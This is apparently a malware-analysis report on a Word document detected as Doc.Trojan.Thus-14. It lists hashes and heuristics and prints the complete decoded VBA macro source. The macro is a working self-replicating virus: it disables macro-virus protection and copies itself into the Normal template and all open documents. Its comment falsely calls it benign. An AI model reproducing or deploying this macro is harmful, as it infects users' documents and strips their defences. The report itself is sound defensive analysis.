Doc.Trojan.Thus-14 — Office (OLE) malware analysis

Static analysis result for SHA-256 a0dec00d01f4ed39…

MALICIOUS

Office (OLE)

77.0 KB Created: 2010-10-16 22:12:00 Authoring application: Microsoft Macintosh Word First seen: 2015-01-15
MD5: 1e5fbbfa1006ae83cdf8d9d5a244b84c SHA-1: ab48f0c9c7fe16e678cd651d5711764591bb12a2 SHA-256: a0dec00d01f4ed3920d4427b7b2d23fe6e447c9b39e2d36d21f51de31904abb3
210 Risk Score

Malware Insights

Doc.Trojan.Thus-14 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1566.001 Spearphishing Attachment

The sample contains VBA macros that attempt to disable macro virus protection and replicate themselves to the Normal template and other open documents. This self-replication behavior, combined with ClamAV detection as 'Doc.Trojan.Thus-14', strongly suggests a malicious document designed for propagation and evasion. The VBA code directly manipulates macro security settings and copies its own code, indicating a clear intent to spread.

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-14 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-14
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(3, 1) <> "'Anti-Virus'" Then
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.sbwconsulting.com/resources/papers/ACEEE_SS_2004_Se In document text (OLE body)
    • http://www.cre.orgIn document text (OLE body)
    • http://www.lorenz-In document text (OLE body)
    • http://www.manta.com/mb_33_A7_000/real_estateIn document text (OLE body)
    • http://escholarship.org/uc/item/4bf4j0gw;jsessionid=826116EF3E4E6BB40DD3B7In document text (OLE body)
    • http://www.sciencedirect.com/science?_ob=ArticleURL&_udi=B6V2V-In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2288 bytes
SHA-256: 2766867fe52356fffe720808fb1010440ce9ea6b15dfcc182e2e43136b74bb6b
Detection
ClamAV: Doc.Trojan.Thus-14
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Virus'
' This virus is an alteration of a virus which was
' designed to delete all files from one's C: drive on Dec 13th.
' This code is completely benign.
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.Lines(3, 1) <> "'Anti-Virus'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).codemodule _
        .deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .codemodule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).codemodule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .codemodule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).codemodule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.Lines(3, 1) <> "'Anti-Virus'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .codemodule.deletelines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).codemodule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).codemodule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .codemodule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).codemodule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).codemodule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub

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